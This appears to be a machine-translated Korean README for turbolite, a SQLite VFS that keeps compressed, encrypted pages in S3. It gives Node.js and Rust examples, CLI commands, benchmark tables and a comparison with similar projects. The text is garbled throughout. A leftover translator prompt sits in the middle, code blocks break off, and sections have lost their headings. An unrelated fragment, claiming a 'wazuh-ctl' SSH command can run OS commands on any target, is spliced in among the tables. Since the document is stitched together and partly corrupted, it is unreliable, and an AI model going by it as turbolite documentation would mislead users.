파일 우선 모드에서 기본 `"turbolite"` VFS를 확장 프로그램 로드 시점에 구성하려면, 확장 프로그램을 로드하기 전에 환경 변수 `TURBOLITE_DATABASE_PATH=/data/app.db`를 설정하십시오. 그러면 사이드카는 `/data/app.db-turbolite/`가 되며, 하위 수준의 `TURBOLITE_CACHE_DIR` 설정은 무시됩니다.
### Node.js```bash
npm install turbolite
Please provide the Markdown content to translate.```js const { connect } = require("turbolite");
// File-first: /data/app.db is the local page image. // /data/app.db-turbolite/ holds hidden implementation state. const db = connect("/data/app.db"); db.exec("CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)"); db.prepare("INSERT INTO users VALUES (?, ?)").run(1, 'alice');
const rows = db.prepare("SELECT id, name FROM users").all(); // [{ id: 1, name: 'alice' }] db.close();
`db`는 표준 better-sqlite3 데이터베이스입니다. `connect()`는 데이터베이스별 파일 우선 VFS를 등록합니다. 일반 SQLite 파일을 내보내려면(예: `sqlite3` CLI로 검사하기 위해) better-sqlite3 백업 API를 사용하세요: `await db.backup('export.sqlite')`. 자세한 문서는 [turbolite-ffi/packages/node/](https://github.com/russellromney/turbolite/blob/HEAD/turbolite-ffi/packages/node/)를 참조하세요.
### Rust (로컬, 파일 우선)```rust
use turbolite::tiered::{TurboliteVfs, TurboliteConfig};
// `app.db` is the user-visible local page image.
// `app.db-turbolite/` holds hidden implementation state.
let config = TurboliteConfig::for_database_path("/data/app.db");
let vfs = TurboliteVfs::new_local(config)?;
turbolite::tiered::register("turbolite", vfs)?;
let conn = rusqlite::Connection::open_with_flags_and_vfs(
"/data/app.db",
rusqlite::OpenFlags::SQLITE_OPEN_READ_WRITE | rusqlite::OpenFlags::SQLITE_OPEN_CREATE,
"turbolite",
)?;
하위 레벨 형식을 사용하면 캐시 디렉터리를 직접 선택할 수 있습니다:```rust let config = TurboliteConfig { cache_dir: "/path/to/data".into(), // turbolite owns this dir ..Default::default() };
이 경우 로컬 이미지는 호출자가 지정한 `app.db` 대신 `/path/to/data/data.cache`입니다. 새로운 임베더는 파일 우선 형식을 선호해야 합니다.
### Rust (S3 cloud)```rust
use turbolite::tiered::{TurboliteVfs, TurboliteConfig};
use hadb_storage::StorageBackend;
let config = TurboliteConfig::for_database_path("/data/app.db");
let storage: Arc<dyn StorageBackend> = /* your S3 backend */;
let vfs = TurboliteVfs::with_backend(config, storage, tokio::runtime::Handle::current())?;
turbolite::tiered::register("turbolite", vfs)?;
let conn = rusqlite::Connection::open_with_flags_and_vfs(
"/data/app.db",
rusqlite::OpenFlags::SQLITE_OPEN_READ_WRITE | rusqlite::OpenFlags::SQLITE_OPEN_CREATE,
"turbolite",
)?;
app.db는 turbolite의 압축된 페이지 이미지입니다. 표준 sqlite3로 직접 열 수 있다고 보장되지 않습니다. 일반 SQLite 파일(예: sqlite3 CLI)의 경우 SQLite 온라인 백업 API 또는 바인딩별 내보내기 도우미(Python의 conn.iterdump(), Node의 db.backup())를 사용하십시오.
turbolite는 Rust를 작성하지 않고 turbolite 데이터베이스를 검사, 관리 및 상호 작용할 수 있는 CLI를 제공합니다.```bash cargo install turbolite --features cloud,zstd
### 명령어```bash
# Inspect a database manifest
turbolite info --db my.db
turbolite info --db my.db --bucket my-bucket --endpoint https://t3.storage.dev
# Interactive SQLite shell (with turbolite VFS)
turbolite shell --db my.db
turbolite shell --db my.db --bucket my-bucket --read-only
# Download entire database from S3 into local cache
turbolite download --db my.db --bucket my-bucket --threads 8
# Export to plain SQLite (for migration or backup)
turbolite export --db my.db --output plain.db
# Import a plain SQLite file into turbolite S3 format
turbolite import --input plain.db --bucket my-bucket --prefix databases/my-db
모든 S3 명령은 --bucket, --prefix, --endpoint, --region 플래그를 허용하거나 TURBOLITE_BUCKET, TURBOLITE_PREFIX, AWS_ENDPOINT_URL, AWS_REGION 환경 변수에서 읽습니다.
SQLite-over-network 공간에는 많은 프로젝트가 있습니다. turbolite는 이들 모두로부터 아이디어를 차용했습니다.
가장 일반적인 접근 방식: 수정되지 않은 .db 파일을 S3 또는 CDN에 배치하고 SQLite가 페이지를 읽을 때 HTTP Range GET을 발행합니다.
.dbi 인덱스 파일이 있는 네이티브 C++ VFS 확장입니다. turbolite의 내부 페이지 번들 개념과 같습니다. sqlite_zstd_vfs와 함께 사용하도록 설계되었습니다.이들은 모두 읽기 전용이며 원시 파일에서 압축되지 않은 페이지를 가져옵니다. 포인트 조회는 요청당 원시 4KB(또는 64KB) 페이지를 전송합니다.
이들은 객체 스토리지를 진실 공급원으로 취급하고 개별 페이지 또는 변경 집합을 복제하여 부분 복제본과 오프라인 우선/에지 배포를 가능하게 합니다.
orbitinghail/graft): S3를 통한 지연, 부분적, 강력한 일관성 복제를 위한 트랜잭션 스토리지 엔진입니다. libgraft SQLite 확장은 Graft 볼륨을 통해 4KB 페이지를 읽고 쓰는 VFS를 구현합니다. 프레임 zstd 압축과 스플라인터 기반 변경 집합을 사용합니다. "WAL 프레임이 아닌 페이지 복제" 공간에서 turbolite와 가장 가까운 아키텍처 사촌이며, 콜드 읽기 지연 시간보다는 다중 작성자 에지 동기화에 중점을 둡니다.이들은 로컬 쓰기를 S3에 복제하여 백업 또는 복원을 수행합니다.
wa-sqlite용 sqlite-s3vfs의 TypeScript/브라우저 포트입니다. 동일한 페이지당 객체 모델을 WASM/클라이언트 측에 적용했습니다.모든 벤치마크는 benchmark/에 있습니다. 배포 시나리오(로컬, Fly.io, EC2)는 benchmark/README.md를 참조하십시오.
tiered-bench 바이너리는 소셜 미디어 데이터셋(사용자, 게시물, 좋아요, 친구 관계)을 생성하고 각 캐시 수준에서 S3에 대해 쿼리를 벤치마킹합니다.
별도의 benchmark/bench_s3vfs.py 하네스는 sqlite-s3vfs에 대해 동일한 쿼리를 실행하여 직접 비교합니다. 이 하네스는 benchmark/fly-s3vfs.toml을 통해 배포되며 tiered-bench와 동일한 결정적 데이터셋 생성기를 사용합니다.```bash
TIERED_TEST_BUCKET=my-bucket AWS_ENDPOINT_URL=https://t3.storage.dev
cargo run --features zstd,cloud --bin tiered-bench --release --
--sizes 100000
cargo run --features zstd,cloud --bin tiered-bench --release --
--sizes 1000000 --prefetch-threads 8 --queries post --modes interior
cargo run --example quick-bench --features encryption --release
주요 플래그: `--sizes` (행 개수), `--ppg` (그룹당 페이지 수), `--prefetch-threads`, `--prefetch-search` (검색 스케줄), `--prefetch-lookup` (조회 스케줄), `--grouping` (위치 기반 또는 B-트리), `--queries` (게시물/프로필/좋아요한 사람/상호), `--modes` (없음/내부/인덱스/데이터), `--skip-verify` (소규모 머신에서 COUNT(*) 생략), `--iterations`, `--plan-aware` (선견 프리페치 활성화), `--matrix` (스위프 스케줄 쌍). 쿼리별 스케줄: `--post-prefetch`/`--post-lookup`, `--profile-prefetch`/`--profile-lookup` 등 (검색과 조회는 쿼리별로 독립적임).```bash
# Matrix mode: test 10 schedule pairs x 6 queries at cold level
cargo run --features zstd,cloud --bin tiered-bench --release -- \
--sizes 1000000 --import auto --plan-aware --matrix --iterations 10
# Tune schedules for your own database and queries
cargo run --features zstd,cloud --bin tiered-tune --release -- \
--prefix "databases/my-db" \
--query "SELECT * FROM users WHERE id = ?1" --param 42 \
--plan-aware --iterations 10
cargo test --features zstd # local VFS tests cargo test --features zstd,cloud # + S3 integration tests cargo test --features zstd,encryption # + encryption tests
## 참고
turbolite는 이전에 `sqlite-compress-encrypt-vfs` (약칭 `sqlces`)로 명명되었습니다.
### 보안 모델 상세
S3 데이터는 프레임별 고유한 무작위 논스를 사용하는 AES-256-GCM을 사용합니다 (인증, 변조 감지). 로컬 파일은 페이지 번호/바이트 오프셋을 기반으로 결정적 논스를 사용하는 AES-256-CTR을 사용하며, 디스크에 저장된 상태에서 공격자에 대한 기밀성을 제공합니다. CTR의 결정적 논스는 다중 스냅샷 공격자가 재사용된 오프셋에서 평문의 XOR을 복구할 수 있음을 의미하며, 이는 SQLite 자체 SEE 확장의 트레이드오프와 일치합니다. 로컬 캐시는 일시적이며 S3에서 다시 생성 가능합니다.
## 라이선스
Apache-2.0
| Query | Type | Cold (S3 Express) | Cold (Tigris) |
|---|
| Post + user | point lookup + join | 86ms | 172ms |
| Profile | multi-table join (5 JOINs) | 251ms | 479ms |
| Who-liked | index search + join | 206ms | 302ms |
| Mutual friends | multi-search join | 19ms | 49ms |
| Indexed filter | covered index scan | 79ms | 88ms |
| Full scan + filter | full table scan | 476ms | 532ms |
| Cache level | What's cached | What's fetched from S3 | When this happens |
|---|
| none | nothing | everything | Fresh start, empty cache |
| interior | interior B-tree pages | index + data pages | First query after connection open |
| index | interior + index pages | data pages only | Normal turbolite operation |
| data | everything | nothing | Equivalent to local SQLite |
| Operation | SQLite | turbolite | Overhead |
|---|
| Point lookup | 145K/s | 73K/s | 2.0x |
| Range scan | 8.8K/s | 8.3K/s | parity |
| Full table scan | 56/s | 60/s | parity |
| INSERT | 19K/s | 23K/s | parity |
| UPDATE by PK | 40K/s | 27K/s | 1.5x |
| Batch INSERT (in txn) | 685K/s | 740K/s | parity |
| S3 제약 | 영향 |
|---|
| 왕복 요청이 느림 | 요청 횟수를 최소화합니다. 쓰기를 일괄 처리하고, 읽기를 적극적으로 프리페치합니다. |
| 대역폭이 병목임 | 대역폭 활용도를 최대화합니다. |
| PUT 및 GET은 작업당 비용이 부과됨 | 64KB GET과 16MB GET의 비용이 동일합니다. 바이트 효율이 아닌 요청 횟수를 최적화합니다. |
| 객체는 불변임 | 제자리에서 업데이트하지 않습니다. 새 버전을 쓰고 포인터를 교체합니다. 부분 쓰기 손상이 없습니다. |
| 스토리지는 저렴함 | 공간을 최적화하지 않습니다. 과잉 프로비저닝하고, 이전 버전을 유지하며, GC가 나중에 정리하도록 합니다. |
| 워크로드 | 설정 | 이유 |
|---|
| 혼합 OLTP | 기본값 | 계획 인식이 스캔을 처리하고, 검색 일정이 인덱스를 워밍업하며, 조회 일정은 보수적으로 유지됩니다. |
| 포인트 집중 (에이전트 DB) | prefetch.lookup: vec![0.0, 0.0, 0.0] | 조회는 거의 프리페치가 필요하지 않습니다. |
| 스캔 집중 분석 | prefetch.search: vec![0.5, 0.5], prefetch.query_plan: true | 공격적인 검색 워밍업과 계획 인식 벌크 프리페치를 결합합니다. |
| 보수적 (버스트 서버리스) | prefetch.search: vec![0.1, 0.2, 0.3], prefetch.lookup: vec![0.0, 0.0, 0.1] | 프리페치 노이즈를 최소화합니다. |
| 백엔드 | GET 지연 시간 | 최고 포인트 조회 | 최고 프로필 | 튜닝 효과 |
|---|
| S3 Express | ~4ms | 74ms (off/off: 96ms) | 188ms (off/off: 212ms) | 프리페치 없음 대비 5-23% 향상 |
| Tigris | ~25ms | 192ms (off/off: 231ms) | 524ms (off/off: 616ms) | 프리페치 없음 대비 8-34% 향상 |
Wazuh Agent via SSH (대상: any; --server 필수 제공):
wazuh-ctl wifi wz-agt --ssh --server 10.10.5.150
any 대상을 허용합니다. SSH를 통해 Wazuh 에이전트에 직접 OS 명령을 실행할 수 있습니다.```rust
let config = TurboliteConfig {
wal_replication: true, // enable WAL shipping
..Default::default()
};| turbolite | 원시 파일 범위 GET | Litestream VFS | sqlite_web_vfs + zstd_vfs | mvsqlite | Graft | sqlite-s3vfs |
|---|
| S3에서 읽기 | 압축된 페이지 그룹에 대한 탐색 가능한 범위 GET | 원시 페이지에 대한 범위 GET | LTX 파일에 대한 범위 GET | 압축된 외부 DB에 대한 범위 GET | FoundationDB에서 KV 조회 | 4KB 페이지/변경 집합 지연 가져오기 | 페이지당 GetObject 하나 |
| S3에 쓰기 | 체크포인트 (그룹당 PUT 하나) | 없음 | 없음 | 없음 | 예 (MVCC) | 예 (비동기 변경 집합 복제) | 페이지당 PUT 하나 |
| 압축 | 탐색 가능한 멀티프레임 zstd | 없음 | 없음 | zstd (중첩 DB) | zstd 델타 인코딩 | 프레임 zstd | 없음 |
| 암호화 | 페이지당 AES-256-GCM | 없음 | 없음 | 없음 | 없음 | 명시되지 않음 | 없음 |
| 프리페치 | 예측 조회 + 홉 스케줄 | 없음 또는 기본 읽기 미리 가져오기 | LRU 캐시 | 적응형 통합 | 클라이언트 버퍼 | 지연/요청 시 | 없음 |
| 내부 페이지 최적화 | 감지, 고정, 별도 번들 | 없음 | LTX 트레일러의 페이지 인덱스 | 선택적 .dbi 파일 | 없음 | 명시되지 않음 | 없음 |
| 포인트 조회당 바이트 (캐시: 인덱스) | ~100KB (압축된 프레임 하나) | 4-64KB (원시 페이지 하나) | 다양함 | 다양함 | 다양함 | 4KB (페이지 하나) | 4KB (페이지 하나) |
| 4096페이지당 쓰기 비용 | ~$0.000005 (PUT 하나) | 해당 없음 | 해당 없음 | 해당 없음 | FoundationDB 연산 | 일괄 변경 집합 | ~$0.02 (PUT 4096개) |